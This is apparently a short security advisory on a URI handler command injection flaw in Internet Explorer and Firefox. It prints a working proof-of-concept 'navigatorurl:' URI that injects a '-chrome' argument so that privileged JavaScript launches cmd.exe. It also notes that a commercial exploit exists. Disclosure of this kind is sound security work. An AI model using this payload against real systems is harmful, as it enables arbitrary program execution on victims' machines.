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Microsoft Internet Explorer and Mozilla Firefox URI Handler Command Injection Vulnerability

The following proof of concept demonstrates this vulnerability:

http://larholm.com/vuln/firefoxurl.html

The following proof-of-concept URI demonstrates this issue with the 'navigatorurl' URI handler:

navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.